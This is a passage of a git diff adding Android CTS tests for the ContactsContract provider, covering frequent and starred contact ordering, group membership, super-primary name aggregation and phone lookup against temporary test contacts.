+        assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
+                sContentValues[0], sContentValues[2]);
+    }
+
+    public void testStrequents_phoneOnlyFrequentsOrder() throws Exception {
+        long[] ids = setupTestData();
+
+        // Contact the first contact once.
+        markDataAsUsed(mDataIds[0], 1);
+
+        // Contact the second contact twice.
+        markDataAsUsed(mDataIds[1], 2);
+
+        // Contact the third contact thrice.
+        markDataAsUsed(mDataIds[2], 3);
+
+        // Construct a uri for phone only favorites.
+        Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
+                appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
+
+        // Only the contacts with phone numbers are returned, in frequency ranking order.
+        assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
+                sContentValues[2], sContentValues[0]);
+    }
+
+    public void testStrequents_phoneOnly_projection() throws Exception {
+        long[] ids = setupTestData();
+
+        // Start contact 0 and mark contact 2 as frequent
+        starContact(ids[0]);
+        markDataAsUsed(mDataIds[2], 1);
+
+        // Construct a uri for phone only favorites.
+        Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
+                appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
+
+        DatabaseAsserts.checkProjection(mResolver, uri,
+                STREQUENT_PHONE_ONLY_PROJECTION,
+                new long[]{mDataIds[0], mDataIds[2]} // Note _id from phone_only is data._id
+        );
+    }
+
+    public void testFrequents_noFrequentsReturnsEmptyCursor() throws Exception {
+        long[] ids = setupTestData();
+        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids, false);
+    }
+
+    public void testFrequents_CorrectOrder() throws Exception {
+        long[] ids = setupTestData();
+
+        // Contact the first contact once.
+        markDataAsUsed(mDataIds[0], 1);
+
+        // Contact the second contact thrice.
+        markDataAsUsed(mDataIds[1], 3);
+
+        // Contact the third contact twice.
+        markDataAsUsed(mDataIds[2], 2);
+
+        // The frequents uri should now return contact 2, 3, 1 in order due to ranking by
+        // data usage.
+        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids,
+                true /* inOrder */, sContentValues[1], sContentValues[2], sContentValues[0]);
+    }
+
+    public void testFrequent_projection() throws Exception {
+        long[] ids = setupTestData();
+
+        markDataAsUsed(mDataIds[0], 10);
+
+        DatabaseAsserts.checkProjection(mResolver, Contacts.CONTENT_FREQUENT_URI,
+                STREQUENT_PROJECTION,
+                new long[]{ids[0]}
+        );
+    }
+
+    /**
+     * Given a uri, performs a query on the contacts provider for that uri and asserts that the
+     * cursor returned from the query matches the expected results.
+     *
+     * @param uri Uri to perform the query for
+     * @param contactsId Array of contact IDs that serves as an additional filter on the result
+     * set. This is needed to limit the output to temporary test contacts that were created for
+     * purposes of the test, so that the tests do not fail on devices with existing contacts on
+     * them
+     * @param inOrder Whether or not the returned rows in the cursor should correspond to the
+     * order of the provided ContentValues
+     * @param expected An array of ContentValues corresponding to the expected output of the query
+     */
+    private void assertCursorStoredValuesWithContactsFilter(Uri uri, long[] contactsId,
+            boolean inOrder, ContentValues... expected) {
+        // We need this helper function to add a filter for specific contacts because
+        // otherwise tests will fail if performed on a device with existing contacts data
+        StringBuilder sb = new StringBuilder();
+        sb.append(Contacts._ID + " in ");
+        sb.append("(");
+        for (int i = 0; i < contactsId.length; i++) {
+            if (i != 0) sb.append(",");
+            sb.append(contactsId[i]);
+        }
+        sb.append(")");
+        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, null, sb.toString(),
+                null, null, inOrder, expected);
+    }
+
+    /**
+     * Given a contact id, update the contact corresponding to that contactId so that it now shows
+     * up in the user's favorites/starred contacts.
+     *
+     * @param contactId Contact ID corresponding to the contact to star
+     */
+    private void starContact(long contactId) {
+        ContentValues values = new ContentValues();
+        values.put(Contacts.STARRED, 1);
+        mResolver.update(ContentUris.withAppendedId(Contacts.CONTENT_URI, contactId), values,
+                null, null);
+    }
+
+    /**
+     * Given a data id, increment the data usage stats by a given number of usages to simulate
+     * the user making a call to the given data item.
+     *
+     * @param dataId Id of the data item to increment data usage stats for
+     * @param numTimes The number of times to increase the data usage stats by
+     */
+    private void markDataAsUsed(long dataId, int numTimes) {
+        Uri uri = ContactsContract.DataUsageFeedback.FEEDBACK_URI.buildUpon().
+                appendPath(String.valueOf(dataId)).
+                appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
+                        DataUsageFeedback.USAGE_TYPE_CALL).build();
+        for (int i = 1; i <= numTimes; i++) {
+            mResolver.update(uri, new ContentValues(), null, null);
+        }
+    }
+
+    /**
+     * Setup the contacts database with temporary contacts used for testing. These contacts will
+     * be removed during teardown.
+     *
+     * @return An array of long values corresponding to the ids of the created contacts
+     *
+     * @throws Exception
+     */
+    private long[] setupTestData() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
+                .insert();
+        mDataIds[0] = rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "510-123-5769")
+                .with(Email.TYPE, Phone.TYPE_HOME)
+                .insert().load().getId();
+        rawContact.load();
+        TestContact contact = rawContact.getContact().load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
+                .insert();
+        mDataIds[1] = rawContact2.newDataRow(Email.CONTENT_ITEM_TYPE)
+                .with(Email.DATA, "eggs@farmers.org")
+                .with(Email.TYPE, Email.TYPE_HOME)
+                .insert().load().getId();
+        rawContact2.load();
+        TestContact contact2 = rawContact2.getContact().load();
+
+        TestRawContact rawContact3 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "John Doe")
+                .insert();
+        mDataIds[2] = rawContact3.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "518-354-1111")
+                .with(Phone.TYPE, Phone.TYPE_HOME)
+                .insert().load().getId();
+        rawContact3.load();
+        TestContact contact3 = rawContact3.getContact().load();
+
+        return new long[] {contact.getId(), contact2.getId(), contact3.getId()};
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
new file mode 100644
index 0000000..e422c1e
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.GroupMembership;
+import android.provider.ContactsContract.Groups;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestData;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestGroup;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.InstrumentationTestCase;
+
+public class ContactsContract_GroupMembershipTest extends InstrumentationTestCase {
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        ContentResolver contentResolver =
+                getInstrumentation().getTargetContext().getContentResolver();
+        ContentProviderClient provider =
+                contentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testAddGroupMembershipWithGroupRowId() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert();
+        TestGroup group = mBuilder.newGroup().insert();
+        TestData groupMembership = rawContact.newDataRow(GroupMembership.CONTENT_ITEM_TYPE)
+                .with(GroupMembership.GROUP_ROW_ID, group.getId())
+                .insert();
+
+        groupMembership.load();
+        groupMembership.assertColumn(GroupMembership.RAW_CONTACT_ID, rawContact.getId());
+        groupMembership.assertColumn(GroupMembership.GROUP_ROW_ID, group.getId());
+    }
+
+    public void testAddGroupMembershipWithGroupSourceId() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestGroup group = mBuilder.newGroup()
+                .with(Groups.SOURCE_ID, "test_source_id")
+                .with(Groups.ACCOUNT_TYPE, "test_type")
+                .with(Groups.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData groupMembership = rawContact.newDataRow(GroupMembership.CONTENT_ITEM_TYPE)
+                .with(GroupMembership.GROUP_SOURCE_ID, "test_source_id")
+                .insert();
+
+        groupMembership.load();
+        groupMembership.assertColumn(GroupMembership.RAW_CONTACT_ID, rawContact.getId());
+        groupMembership.assertColumn(GroupMembership.GROUP_SOURCE_ID, "test_source_id");
+        groupMembership.assertColumn(GroupMembership.GROUP_ROW_ID, group.getId());
+    }
+
+    public void testAddGroupMembershipWithUnknownGroupSourceId() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_type")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData groupMembership = rawContact.newDataRow(GroupMembership.CONTENT_ITEM_TYPE)
+                .with(GroupMembership.GROUP_SOURCE_ID, "test_source_id")
+                .insert();
+        TestGroup group = mBuilder.newGroup()
+                .with(Groups.ACCOUNT_TYPE, "test_type")
+                .with(Groups.ACCOUNT_NAME, "test_name")
+                .with(Groups.SOURCE_ID, "test_source_id")
+                .with(Groups.DELETED, 0)
+                .loadUsingValues();
+
+        groupMembership.load();
+        groupMembership.assertColumn(GroupMembership.RAW_CONTACT_ID, rawContact.getId());
+        groupMembership.assertColumn(GroupMembership.GROUP_SOURCE_ID, "test_source_id");
+        groupMembership.assertColumn(GroupMembership.GROUP_ROW_ID, group.getId());
+
+        group.deletePermanently();
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
new file mode 100644
index 0000000..9e8fa33
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import junit.framework.Assert;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.AggregationExceptions;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestData;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+/**
+ * CTS tests for the affect that {@link ContactsContract.Data#IS_SUPER_PRIMARY} has on names inside
+ * aggregated contacts. Additionally, this needs to test the affect that aggregating contacts
+ * together has on IS_SUPER_PRIMARY values in order to enforce the desired IS_SUPER_PRIMARY
+ * behavior.
+ */
+public class ContactsContract_IsSuperPrimaryName extends AndroidTestCase {
+
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mBuilder.cleanup();
+        super.tearDown();
+    }
+
+    public void testIsSuperPrimary_name1SuperPrimary() throws Exception {
+        testInner_displayNameFromIsSuperPrimary(/* isFirstNamePrimary = */ true, "name1", "name2");
+    }
+
+    public void testIsSuperPrimary_name2SuperPrimary() throws Exception {
+        testInner_displayNameFromIsSuperPrimary(/* isFirstNamePrimary = */ false, "name2", "name1");
+    }
+
+    private void testInner_displayNameFromIsSuperPrimary(boolean isFirstNamePrimary,
+            String expectedDisplayName, String otherDisplayName) throws Exception {
+
+        // Setup: two raw contacts. One with a super primary name. One without.
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "name1")
+                .with(StructuredName.IS_SUPER_PRIMARY, isFirstNamePrimary ? 1 : 0)
+                .insert();
+        rawContact1.load();
+        name1.load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "name2")
+                .with(StructuredName.IS_SUPER_PRIMARY, !isFirstNamePrimary ? 1 : 0)
+                .insert();
+        rawContact2.load();
+        name2.load();
+
+        // Execute: aggregate the two raw contacts together
+        setAggregationException(rawContact1.getId(), rawContact2.getId());
+
+        // Sanity check: two contacts are aggregated
+        rawContact1.load();
+        rawContact2.load();
+        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
+
+        // Verify: the IS_SUPER_PRIMARY values are maintained after the merge
+        name1.assertColumn(StructuredName.IS_SUPER_PRIMARY, isFirstNamePrimary ? 1 : 0);
+        name2.assertColumn(StructuredName.IS_SUPER_PRIMARY, !isFirstNamePrimary ? 1 : 0);
+
+        // Verify: the display name is taken from the name with is_super_primary
+        TestContact contact = rawContact2.getContact().load();
+        contact.assertColumn(Contacts.DISPLAY_NAME, expectedDisplayName);
+
+        //
+        // Now test what happens when you change IS_SUPER_PRIMARY on an existing contact
+        //
+
+        // Execute: make the non primary name IS_SUPER_PRIMARY
+        TestData nonPrimaryName = !isFirstNamePrimary ? name1 : name2;
+        ContentValues values = new ContentValues();
+        values.put(StructuredName.IS_SUPER_PRIMARY, 1);
+        mResolver.update(nonPrimaryName.getUri(), values, null, null);
+
+        // Verify: the IS_SUPER_PRIMARY values swap
+        name1.load();
+        name2.load();
+        name1.assertColumn(StructuredName.IS_SUPER_PRIMARY, isFirstNamePrimary ? 0 : 1);
+        name2.assertColumn(StructuredName.IS_SUPER_PRIMARY, !isFirstNamePrimary ? 0 : 1);
+
+        // Verify: the display name is taken from the name with is_super_primary
+        contact.load();
+        contact.assertColumn(Contacts.DISPLAY_NAME, otherDisplayName);
+    }
+
+    public void testIsSuperPrimaryName_mergeBothSuperPrimary() throws Exception {
+        // Setup: two raw contacts. Both names are super primary.
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "name1")
+                .with(StructuredName.IS_SUPER_PRIMARY, 1)
+                .insert();
+        rawContact1.load();
+        name1.load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "name2")
+                .with(StructuredName.IS_SUPER_PRIMARY, 1)
+                .insert();
+        rawContact2.load();
+        name2.load();
+
+        // Execute: aggregate the two contacts together
+        setAggregationException(rawContact1.getId(), rawContact2.getId());
+
+        // Sanity check: two contacts are aggregated
+        rawContact1.load();
+        rawContact2.load();
+        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
+
+        // Verify: both names are no longer super primary.
+        name1.load();
+        name2.load();
+        name1.assertColumn(StructuredName.IS_SUPER_PRIMARY, 0);
+        name2.assertColumn(StructuredName.IS_SUPER_PRIMARY, 0);
+    }
+
+    private void setAggregationException(long rawContactId1, long rawContactId2) {
+        ContentValues values = new ContentValues();
+        values.put(AggregationExceptions.RAW_CONTACT_ID1, rawContactId1);
+        values.put(AggregationExceptions.RAW_CONTACT_ID2, rawContactId2);
+        values.put(AggregationExceptions.TYPE, AggregationExceptions.TYPE_KEEP_TOGETHER);
+        mResolver.update(AggregationExceptions.CONTENT_URI, values, null, null);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
new file mode 100644
index 0000000..fcb82ae
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
@@ -0,0 +1,261 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.Email;
+import android.provider.ContactsContract.CommonDataKinds.Phone;
+import android.provider.ContactsContract.CommonDataKinds.SipAddress;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.PhoneLookup;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+/**
+ * Test for {@link android.provider.ContactsContract.PhoneLookup}.
+ * <p>
+ * This covers {@link PhoneLookup#CONTENT_FILTER_URI} and
+ * {@link PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
+ *
+ * TODO We don't yet have tests to cover cross-user provider access for the later, since multi-user
+ * cases aren't well supported in CTS yet.  Tracking in internal bug/16462089 .
+ */
+public class ContactsContract_PhoneLookup extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    static class Id {
+        public long contactId;
+        public long dataId;
+
+        public Id (long contactId, long dataId) {
+            this.contactId = contactId;
+            this.dataId = dataId;
+        }
+    }
+
+    private Id[] setupTestData() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
+                .insert();
+        long dataId = rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "1111222333444")
+                .with(Email.TYPE, Phone.TYPE_HOME)
+                .insert().load().getId();
+        rawContact.load();
+        TestContact contact = rawContact.getContact().load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
+                .insert();
+       long dataId2 =  rawContact2.newDataRow(Phone.CONTENT_ITEM_TYPE)
+                .with(Phone.DATA, "2111222333444")
+                .with(Phone.TYPE, Phone.TYPE_OTHER)
+                .insert().load().getId();
+        rawContact2.load();
+        TestContact contact2 = rawContact2.getContact().load();
+
+        // Contact with SIP address
+        TestRawContact rawContact3 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.DISPLAY_NAME, "Warm Tempura")
+                .insert();
+        long dataId3 = rawContact2.newDataRow(SipAddress.CONTENT_ITEM_TYPE)
+                .with(SipAddress.SIP_ADDRESS, "777@sip.org")
+                .with(SipAddress.TYPE, SipAddress.TYPE_WORK)
+                .insert().load().getId();
+        rawContact3.load();
+        TestContact contact3 = rawContact2.getContact().load();
+
+        return new Id[] {
+                new Id(contact.getId(), dataId),
+                new Id(contact2.getId(), dataId2),
+                new Id(contact3.getId(), dataId3)
+        };
+
+    }
+
+    /**
+     * Test for {@link android.provider.ContactsContract.PhoneLookup#CONTENT_FILTER_URI}.
+     */
+    public void testPhoneLookup_nomatch() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("no-such-phone-number").build();
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids /*, empty */);
+    }
+
+    /**
+     * Test for {@link android.provider.ContactsContract.PhoneLookup#CONTENT_FILTER_URI}.
+     */
+    public void testPhoneLookup_found1() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("1111222333444").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(PhoneLookup._ID, ids[0].contactId);
+        expected.put(PhoneLookup.CONTACT_ID, ids[0].contactId);
+        expected.put(PhoneLookup.DATA_ID, ids[0].dataId);
+        expected.put(PhoneLookup.NUMBER, "1111222333444");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Test for {@link android.provider.ContactsContract.PhoneLookup#CONTENT_FILTER_URI}.
+     */
+    public void testPhoneLookup_found2() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("2111222333444").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(PhoneLookup._ID, ids[1].contactId);
+        expected.put(PhoneLookup.CONTACT_ID, ids[1].contactId);
+        expected.put(PhoneLookup.DATA_ID, ids[1].dataId);
+        expected.put(PhoneLookup.NUMBER, "2111222333444");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testPhoneLookup_sip_found() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("777@sip.org")
+                .appendQueryParameter(PhoneLookup.QUERY_PARAMETER_SIP_ADDRESS, "1")
+                .build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(PhoneLookup.CONTACT_ID, ids[2].contactId);
+        expected.put(PhoneLookup.DATA_ID, ids[2].dataId);
+        expected.put(SipAddress.SIP_ADDRESS, "777@sip.org");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Test for {@link android.provider.ContactsContract.PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
+     */
+    public void testPhoneLookupEnterprise_nomatch() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("no-such-phone-number").build();
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids /*, empty */);
+    }
+
+    /**
+     * Test for {@link android.provider.ContactsContract.PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
+     */
+    public void testPhoneLookupEnterprise_found1() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("1111222333444").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(PhoneLookup._ID, ids[0].contactId);
+        expected.put(PhoneLookup.CONTACT_ID, ids[0].contactId);
+        expected.put(PhoneLookup.DATA_ID, ids[0].dataId);
+        expected.put(PhoneLookup.NUMBER, "1111222333444");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    /**
+     * Test for {@link android.provider.ContactsContract.PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
+     */
+    public void testPhoneLookupEnterprise_found2() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("2111222333444").build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(PhoneLookup._ID, ids[1].contactId);
+        expected.put(PhoneLookup.CONTACT_ID, ids[1].contactId);
+        expected.put(PhoneLookup.DATA_ID, ids[1].dataId);
+        expected.put(PhoneLookup.NUMBER, "2111222333444");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    public void testPhoneLookupEnterprise_sip_found() throws Exception {
+        Id[] ids = setupTestData();
+        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
+                .appendPath("777@sip.org")
+                .appendQueryParameter(PhoneLookup.QUERY_PARAMETER_SIP_ADDRESS, "1")
+                .build();
+
+        final ContentValues expected = new ContentValues();
+        expected.put(PhoneLookup._ID, ids[2].dataId);
+        expected.put(PhoneLookup.CONTACT_ID, ids[2].contactId);
+        expected.put(PhoneLookup.DATA_ID, ids[2].dataId);
+        expected.put(SipAddress.SIP_ADDRESS, "777@sip.org");
+
+        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
+    }
+
+    private void assertCursorStoredValuesWithContactsFilter(Uri uri, Id[] ids,
+            ContentValues... expected) {
+        // We need this helper function to add a filter for specific contacts because
+        // otherwise tests will fail if performed on a device with existing contacts data
+        StringBuilder sb = new StringBuilder();
+        sb.append(Contacts._ID + " in ");
+        sb.append("(");
+        for (int i = 0; i < ids.length; i++) {
+            if (i != 0) sb.append(",");
+            sb.append(ids[i].contactId);
+        }
+        sb.append(")");
+        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, null,
+                sb.toString(), null, null, false, expected);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
new file mode 100644
index 0000000..c6582d6
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.Photo;
+import android.provider.ContactsContract.Contacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestData;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.PhotoUtil;
